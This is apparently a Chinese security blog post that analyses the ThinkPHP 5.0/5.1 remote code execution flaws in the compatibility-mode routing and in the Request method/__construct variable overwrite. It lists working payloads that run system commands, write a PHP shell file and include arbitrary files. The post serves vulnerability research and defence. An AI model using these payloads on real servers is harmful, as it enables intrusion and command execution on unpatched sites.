ThinkPHP5_RCE分析
thinkphp5最出名的漏洞就是rce,rce有两个大版本的区别
- ThinkPHP 5.0.0-5.0.24
- ThinkPHP 5.1.0-5.1.30
因为漏洞具体触发点和版本的不同,导致payload分为了很多种,总体来看依然分两大种:
直接访问路由触发,由于未开启强制路由,且Request类在兼容模式下获取的控制器没有进行合法校验导致的rce
5.1.x :
1
2
3
4
5?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id5.0.x :
1
2
3
4
5?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami另一种是因为Request类的
method
和__construct
方法造成的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
具体使用payload的时候可以多试几条。
未开启强制路由RCE
先具体分析一下第一种的第一条,使用的版本是ThinkPHP5.1.29
可以在config文件夹下的app.php看到路径处理采取了s(兼容模式)且强制使用路由是关闭的,这个是rce的前提。
传入?s=index/think\Request/input&filter=system&data=whoami
,开始调试
可以看到根本的逻辑就是先get构建app应用,再run,最后send返回结果,rce在run方法中发生,直接跳过get方法进入run方法。
run方法前面也是一些初始化应用的操作,重点在这里,先通过routeCheck方法再通过init方法获得dispatch变量的值,跟进routeCheck:
由于appDebug为开启状态(true),所以这个if直接跳过,看到后面关键的获取dispatch部分
可以看到这里两个参数,一个是我们输入的s后面的路径,另一个must用来表示未开启强制路由模式,跟进check方法:
可以看到这里是把我们的/
换成|
,url变为了index|think\request|input
,后面还有很多处理,但是处理完之后还是不变,最终routeCheck返回的dispatch就是index|think\request|input
,接着进行init方法的处理。
跟进parseUrl方法,看如何解析我们传入的url
一句话解释就是将我们传入的url按照模块/控制器/方法
拆成了route数组,然后返回成最终的dispatch,回到run方法中。
下一个关键在run方法的431行,这个闭包中调用了dispatch的run方法,跟进
可以看到run方法里执行了this的exec,典型的危险函数,跟进到Module.php的exec,这个方法的作用就是实例化了控制器think\request
,并且通过反射机制获取了url中传入的我们需要调用的方法input,且利用param方法获得请求参数,即filter=system&data=dir
,总的来说就是为rce做好了准备。
绑定好参数之后最终调用request.php中的input方法,关键是这里:
跟进filterValue,发现里面直接call_user_func了,func是filter,data是参数,实现rce。
总结
整体思路:由于未强制开启路由且是兼容模式,我们传入的参数会被成功解析并调用,相当于按模块/控制器/方法名
调用了input,再传入filter作为方法名,data作为参数实现rce。
Method任意方法调用RCE
注:下文使用版本为5.0.22
开启debug模式
分析之前先看看Request类里面危险的方法,首先是这个construct方法,在控制options的情况下就可以实现对类中变量的覆盖。
然后是这个method方法,可以实现任意request类中方法的调用,其中这个var_method
可以通过POST传入_method
来改变。于是自然想到可以传入_method=construct
来进行变量覆盖。
最后是这个filterValue方法,可以实现任意方法的调用,只要我们可以控制value和filter的值
payload:POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami
打上断点,分析一遍流程,看看究竟是怎么调用的。
跳转start.php,跟进
可以看到和上一个非常像,都是run执行应用里面发生rce,跳到run方法
一样是routeCheck方法,然后routeCheck里面关键的是Check,直接跳到Check:
check方法的关键在这里,调用了request变量的method方法,看监视可知$request=think\Request
,所以调用的就是request类里面的那个method方法,跟进:
可以看到,由于我们是无参调用,所以这个method变量的值是false,从而进入到我们的任意request类方法调用环节,传入的是construct,跳到construct:
进行变量覆盖,结合我们的payload中可知这次覆盖了两个变量,把filter变量覆盖成了system,把server变量覆盖成了REQUEST_METHOD=whoami
,变量覆盖完成,只需要调用即可,回到run方法中:
这是第二个关键点,由于我们的debug模式是true,所以进入到if语句,这里关键的地方就是调用了think\Request
的param()
方法,跟进:
可以看到这里再一次调用了request类的method方法,和上文不同的是传入的参数是true
直接调用server方法,传入的字符串是REQUEST_METHOD,跟进server:
可以看到,由于我们先前进行了变量覆盖,这里的server不是空的,就可以绕过这个替换,维持原来的值,看到后面调用了input方法,传入的参数是之前覆盖了的server和REQUEST_METHOD这个字符串
第一处关键在这里,这里的意思就是将server[REQUEST_METHOD]
也就是whoami传给了data。
第二处关键在这里,filterValue传进去的data就是我们的rce命令,也就是whoami,而filter就是我们之前变量覆盖后的system,最终在filterValue中的call_user_func完成命令执行,这个上文说了。
总结
payload:POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami
通过控制_method
使得调用_construct
方法,通过传入filter=system&server[REQUEST_METHOD]=whoami
来实现变量覆盖,最后通过debug模式开启,调用param()
方法来最终完成RCE。
未开启debug模式
结合上文的总结,未开启debug模式下,自然无法再利用param()
方法,但是变量该覆盖的还是可以覆盖。
首先做下准备工作,先把config.php里面的debug改为false,再装多一个captcha拓展包(如果用下面的payload打不通就是缺了这个拓展),cmd输入composer require topthink/think-captcha=1.*
即可。
payload:GET:?s=captcha POST:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
直接跳到无法利用的param方法位置,前面的覆盖都是一样的:
跟进exec函数,发现对$dispatch[‘type’]进行了switch,当type是method的时候就可以调用param,后面的过程和开了debug是完全一样的,都是通过param进行rce:
那我们需要考虑的问题就是怎么让$dispatch[‘type’]=method
在thinkphp5完整版中官网揉进去了一个验证码的路由,可以通过这个路由来使得$dispatch[‘type’] 等于 method ,从而完成rce漏洞。
具体操作就是直接通过路由访问GET:?s=captcha
之前的那种方法进入method
方法后,后面的代码就不用管了,但是这种方法下面的代码仍需要进行,故需要把请求方法设置成get才能访问路由,又因为method()
方法的返回值是return $this->method;
,所以__construct()
方法里面把$this->method
覆盖成get就可以,也就是说我们post传的参要多一个method=get。
总结
未开启debug且有captcha的时候只需要多加两步即可正常打
感谢两位大佬的文章提供的思路
Thinkphp5 RCE总结 - Luminous~ - 博客园 (cnblogs.com)
分析较为精简,但是有自行测试的各版本可行payload
thinkphp5 RCE漏洞复现_thinkphp rce_bfengj的博客-CSDN博客
分析非常详细!
ThinkPHP5_RCE分析